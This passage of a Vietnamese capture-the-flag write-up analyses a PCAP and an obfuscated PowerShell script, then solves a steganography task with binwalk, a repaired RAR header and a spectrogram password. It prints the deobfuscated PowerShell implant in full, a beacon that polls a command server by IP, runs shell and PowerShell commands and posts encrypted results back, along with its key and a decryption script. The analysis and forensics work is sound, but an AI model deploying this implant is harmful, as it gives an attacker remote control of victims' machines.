    .("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N}
    }
}
```

Để deobs các file PowerShell như này thì mình thường dùng [PSDecode](https://github.com/R3MRUM/PSDecode), tuy nhiên lần này lại không chạy (do Antivirus báo liên tục) được nên mình đã dùng ChatGPT để deobsfucate :D

```powershell=
$cipher = [System.Security.Cryptography.CipherMode]::CBC
$padding = [System.Security.Cryptography.PaddingMode]::Zeros
$convert = [System.Convert]
$enc = [System.Text.Encoding]
$dns = [System.Net.Dns]
$str = [System.String]

function Create-AesManageObject($iv, $key) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = $cipher
    $aesManaged.Padding = $padding
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256

    if ($iv) {
        if ($iv.GetType().Invoke().Name -eq $str) {
            $aesManaged.IV = $convert::FromBase64String.Invoke($iv)
        } else {
            $aesManaged.IV = $iv
        }
    }

    if ($key) {
            $aesManaged.Key = $key
        }
    }
}


function Encrypt($key, $plaintext) {
    $aesManaged = Create-AesManageObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $encryptedBytes = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
    $result = $aesManaged.IV + $encryptedBytes
    $aesManaged.Dispose()
    [Convert]::ToBase64String($result)
}

function Decrypt($key, $encrypted) {
    $aesManaged = Create-AesManageObject $key
    $decryptor = $aesManaged.CreateDecryptor()
    $bytes = [Convert]::FromBase64String($encrypted)
    $iv = $bytes[0..15]
    $encryptedData = $bytes[16..($bytes.Length - 1)]
    $decryptedBytes = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
    $result = [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)
    $aesManaged.Dispose()
    $result
}

function Shell($path, $arguments) {
    $processStartInfo = New-Object System.Diagnostics.ProcessStartInfo
    $processStartInfo.FileName = $path
    $processStartInfo.RedirectStandardError = $true
    $processStartInfo.RedirectStandardOutput = $true
    $processStartInfo.UseShellExecute = $false
    $processStartInfo.Arguments = $arguments

    $process = New-Object System.Diagnostics.Process
    $process.StartInfo = $processStartInfo
    $process.Start() | Out-Null
    $process.WaitForExit()

    $standardOutput = $process.StandardOutput.ReadToEnd()
    $standardError = $process.StandardError.ReadToEnd()
    $result = "VALID $standardOutput`n$standardError"
    $result
}

$serverIP = '128.199.207.220'
$serverPort = '7331'
$key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
$delay = 3
$currentTask = ""

$hostname = [System.Net.Dns]::GetHostName()
$requestUri = "http://$serverIP:$serverPort/reg"
$body = @{
    'name' = $hostname
    'type' = "p"
} | ConvertTo-Json

$taskUri = "http://$serverIP:$serverPort/tasks/$currentTask"
$resultUri = "http://$serverIP:$serverPort/results/$currentTask"

while ($true) {
    $taskContent = Invoke-WebRequest -UseBasicParsing -Uri $taskUri -Method 'GET' | Select-Object -ExpandProperty Content

    if (-not [string]::IsNullOrEmpty($taskContent)) {
        $decryptedTask = Decrypt $key $taskContent
        $taskArgs = $decryptedTask -split " "
        $taskType = $taskArgs[0]

        if ($taskType -eq 'shell') {
            $filePath = 'cmd.exe'
            $arguments = "/c $taskArgs"
            $result = Shell $filePath $arguments
            $encryptedResult = Encrypt $key $result
            $resultBody = @{ 'result' = $encryptedResult }
            Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
        }
        elseif ($taskType -eq 'powershell') {
            $filePath = 'powershell.exe'
            $arguments = "/c $taskArgs"
            $result = Shell $filePath $arguments
            $encryptedResult = Encrypt $key $result
            $resultBody = @{ 'result' = $encryptedResult }
            Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
        }
        elseif ($taskType -eq 'sleep') {
            $delay = [int]$taskArgs[1]
            $resultBody = @{ 'result' = "" }
            Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
        }
        elseif ($taskType -eq 'rename') {
            $currentTask = $taskArgs[1]
            $taskUri = "http://$serverIP:$serverPort/tasks/$currentTask"
            $resultUri = "http://$serverIP:$serverPort/results/$currentTask"
            $resultBody = @{ 'result' = "" }
            Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
        }
        elseif ($taskType -eq 'quit') {
            exit
        }
    }
    Start-Sleep $delay
}
```
Đoạn code này làm những tác vụ sau:

- Tạo một AES Object bằng hàm `Create-AesManageObject`
- Mã hoá/Giải mã tin nhắn bằng hàm `Encrypt/Decrypt`
- Chạy một lệnh và lưu output lại trong hàm `Shell`
- Khi script này chạy, script sẽ liên tục connect đến địa chỉ IP `128.199.207.220` tại port `7331`, nhận một lệnh từ máy chủ, sau đó execute, lấy output, mã hoá và gửi lại về server.

Lúc này mình đã hiểu ý nghĩa của các packet trong file PCAP, đây là connect giữa máy victim và máy của attacker, và key ở trong file Powershell chính là chìa khoá để giải mã các packet đấy.

Mình tổng hợp lại các packet chứa data bị encrypted bằng filter:
`(ip.dst == 128.199.207.220) || (ip.src== 128.199.207.220)) && (http) && !(frame contains "NO CONTENT") && !(frame contains "IFDRBU")`

Sau đó mình viết 1 python script để decrypt chúng:

```python=
from Crypto.Cipher import AES
from base64 import b64decode
import urllib.parse

key = b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=")
iv = bytes([i for i in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv = iv)

def decrypt(cipher, b64):
    return cipher.decrypt(b64decode(urllib.parse.unquote(b64)))

b1 = "h%2FREF9LOiNe2K46pgej%2Bc%2B5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh%2FuctV0zSYIP23QvJRPm617f%2F%2Ba4lshe8xLjPc%2FChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9%2FjqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4%2ByYlICfZEVekO%2BLTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE%2Bxd%2BYGcUGhNb%2BovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46%2Be0UjwTt8%2ByofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s%2F%2BYLSefDedRZHXW9FWqSgoIXGBc%2BEQhuFvQQPiI6hTTq64Y8%2BQpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX%2BUFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2%2FeBSF1MIyfu621hIoXMLibDUaxLupq%2BFXoIhms%2B5Ow8kyxdi8EOZA55A2B5p2%2BY9kZwaIpPsuPk3h78J%2BQvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k%2BFW1zPAFSNKy5X38MCszAZ%2Fi1dcXYwShjj4VrZLMM%2BzitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6%2Bwo4qZ%2FjUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2%2BvYv%2BXfXC8kAK7%2BUZhJ7jW3EeNAlGq3vwo%2BPE0DFUFaN%2FyiCsaYQanw5s6Q2%2BboNph7ybKBU1jKj%2BcqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE%2BQ9QDM5QaI8AOi2WUl%2B%2BW3bevqPf4wSPnk4kAc%2F%2FcSdpHI%2B90U%2FNzsiwlMQ8VAoPjJ%2Bb2VHWO51%2F1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk%2BFxu%2F6%2BhNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s%2BDzKNk8AaMq%2Bh0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ%2FllTFPNOH7%2FvU5pBpcg7I%2Brqkr%2FayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY%2B9fUz%2FuxSvafuFG0CEUZxdXljsPNz94%2FANu4qAiAqxZeRwMr%2BMZsyX%2FdYZoREl74sk4mOg0ilLhmTfFFN6d0te1es"
b2 = "RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs"
b3 = "aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj"
b4 = "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi"
b5 = "luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T%2FYu7F8NkHwvBwut0us0%2FrbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg%3D%3D"
b6 = "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe"
b7 = "syJFxAeJjdsNXrRpzEenYfY45X1Ag%2B3DMc%2B8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi%2BCbMGYkyvfAovaK7DrdzdwR%2BwMHQPju7ujDz2m0W2G3mlpLv%2Bfz29mEFb6EbtJpcwN%2BmVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1%2FiIcoZ%2BFwJB2H2SJSnZtLLhNsBkSgGYVaeAr%2F2CzKRWEa611H6blwl%2BSwh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB%2F%2BAhbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t%2FLyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ%2Be1bTPxEabcboTu%2F7lq0CrxQvuU%2BZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t%2FHsbUg2K2j7aJZoStBG6sa8%2B8KiXJ48WAgnaWamXsxMUIlC3UzDlHl%2FmEdMljsJJRx74v%2BdcOgcrE7lHP7hd4zG4L0OHhiIB2p%2F69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV%2F%2Br9u488OqNALJ%2BJc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka%2BBRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH%2BeGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi%2F5%2FRgHLh%2BGJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL%2Bz%2F7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK%2ForGEJo93%2FSI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu%2FFsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs%2BPca8v%2BR2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ%2BwHHr25L9CjYmu%2FnIlJmyB0OycbAH%2FZq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G%2BEpUB32ur72Y%2BNAFLeCAdYd8czsz%2B51KKNQr3V29Q1kXZXGXRqNUPva8kDofwCtt8Hmg554%2B0YxENNY5S7b72H7Jw4kxQa%2BOe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4%2FxuBkVCZDBMqoF%2FPUIt4mPDhmN02hrA5jV15fo%2Bod8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1%2BvOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg%2Fo8gbJX3lE%2Fb0ZlVPYFBx0WfI0A%2FSWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn"
b8 = "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf"
b9 = "oLGpnM8tDrH9%2FJBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo%2FYb1YBFrIy%2BRTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC%2Fixkp9U4dzwSdhjOYCIk%2FmTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN%2BVUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR%2B%2BC69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL%2FyBOg6h9zmu10nZwnuDp%2FiXRjVmbjEJeSPYwdsOiCmH%2FubkELlb72b6z9w8%2Fpv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85%2BTfI4%2FZc3fAED8NtiAs5sxak03BAhXn26xFlwW%2FfBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK%2FGlx81S%2F4By665OVB9Vj2zLQhqfAssVQVnz%2BelcqFcBAHB%2BGkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK%2FpTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB%2BAoMkRsI%2BdzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8%2FkzfVLDdG3mKLUZH6cULFa%2Bp4wraULbmYLL4dI7y2iAagQuOXzqgTuqb%2Fdom8px1JCaMoARhizHU9NLp3"

# The most important one is b9

command_executed = [b1, b2, b3, b4, b5, b6, b7, b8, b9]

for cmd in command_executed:
    print(decrypt(cipher, cmd)[16:].decode())

print(decrypt(cipher, b9)[16:].decode())
```

Đây là output của các command mà attacker đã exec:
```=
VALID 
  Max(K) Retain OverflowAction        Entries Log                                                                      
  ------ ------ --------------        ------- ---                                                                      
  20,480      0 OverwriteAsNeeded       3,340 Application                                                              
  20,480      0 OverwriteAsNeeded           0 HardwareEvents                                                           
     512      7 OverwriteOlder              0 Internet Explorer                                                        
  20,480      0 OverwriteAsNeeded           0 Key Management Service                                                   
     128      0 OverwriteAsNeeded          48 OAlerts                                                                  
                                              Security                                                                 
  20,480      0 OverwriteAsNeeded       3,280 System                                                                   
  15,360      0 OverwriteAsNeeded       2,495 Windows PowerShell                                                       

VALID shell whoami
VALID mrlminhtuan-pc\ieuser

VALID powershell pwd

VALID 
Path                     
----                     
C:\Users\IEUser\Documents


VALID powershell dir
VALID 

    Directory: C:\Users\IEUser\Documents


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          6/2/2023  10:13 AM                Custom Office Templates                                              
-a----         5/24/2023   9:36 AM           2100 Calc.txt                                                             
-a----          6/2/2023   3:46 PM         112707 clean.jpg                                                            
-a----          1/3/2022   6:53 AM         843332 Lux.jpg                                                              
-a----          6/2/2023   3:48 PM            345 Math Test.png                                                        
-a----          6/2/2023   3:46 PM          75974 otp.jpg                                                              
-a----         5/24/2023   9:35 AM            427 Todo.txt                                                             
-a----         5/23/2023   4:57 PM         102831 xinomifinancialreport2023.pdf                                        

VALID powershell (Format-Hex '.\Math Test.png' | Select-Object -Expand Bytes | ForEach-Object { '{0:x2}' -f $_ }) -join ''

VALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0ec3200845fdff9feeba7455ee4313c499b46e96e31820b7adc1b8eef1bde3b7715f8c247af5f1408fc930e50d5edb2adafafc2e8e59afc01c456340d8edffa06886c1398bc6475c1218b8655e532856d6fa5ad67002bd64c440609ac8ae80b2530e462084b280faa28b0700b7e63fb28f8e8fd19de822ae9bdf4ba131380ccddacd6fbd806afa19e694416b3d80b2a1066bea701a451730199c03129012ca4d8d0b4e83144ece163a3b465ce8c6fd12aa25a6874e85a586fa06869bb18898e424515d64a9e2a643ad740bf52dc54915b6f21aaa72a042ac1dace77513f5bae75eecb88dd750efac968b29ce12ea5e7ef45818693986aa84f086f442700465c1d4f210d9d844ed816adae844240be8acd8384c3a6fa31f99524e0722949b720000000049454e44ae426082
```

Đoạn code hex ở cuối chính là flag mà chúng ta đang tìm, mình decode bằng câu lệnh `echo -n "HEX" | xxd -r -p > final.jpg`.

Output là một file ảnh chứa mã QR:

![](https://cdn.discordapp.com/attachments/1115650271322849310/1127933122441400390/final.jpg)

Quét QR và có được flag.

### flag: `CHH{D0n't_w0rRy_n0_st@r_wh3rE}`

# Steganography

## CuteK1tty

Từ đề bài giải nén ra 1 file `.png`:
![](https://media.discordapp.net/attachments/1115650271322849310/1128002703256195162/cut3_c4t.png?width=800&height=560)

Theo kinh nghiệm của mình,`binwalk` file ảnh trước là một lựa chọn không tồi:
```
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 640 x 448, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
167499        0x28E4B         RAR archive data, version 5.x
```

Phát hiện trong file ảnh có ẩn 1 file rar, mình extract, sau đó giải nén file rar và được 2 file `purrr_2.mp3` và `y0u_4r3_cl0s3.rar`

Phát hiện file `.rar` bị corrupt, dùng hex editor để check xem vấn đề ở đâu:

![](https://media.discordapp.net/attachments/1115650271322849310/1128002991153238066/image.png?width=1440&height=438)

Thông thường, 1 file RAR sẽ có signature bytes là `52 61 72 21 1A 07 01 00`, tuy nhiên ở đây đã bị thay đổi, mình sửa lại cho đúng, lúc này file RAR đã mở được, nhưng yêu cầu mật khẩu.


Phân tích file `purrr_2.mp3` khi xem [Spectrogram](https://academo.org/demos/spectrum-analyzer/) thấy dòng chữ:`sp3ctrum_1s_y0ur_fr13nd`.

Nhập pass trên để mở file `.rar` ta được flag *(flag đã bị encode bằng Base64)*:

![](https://hackmd.io/_uploads/HJ0AziFK3.png)


### flag: `CHH{f0r3n51cs_ma5t3r}`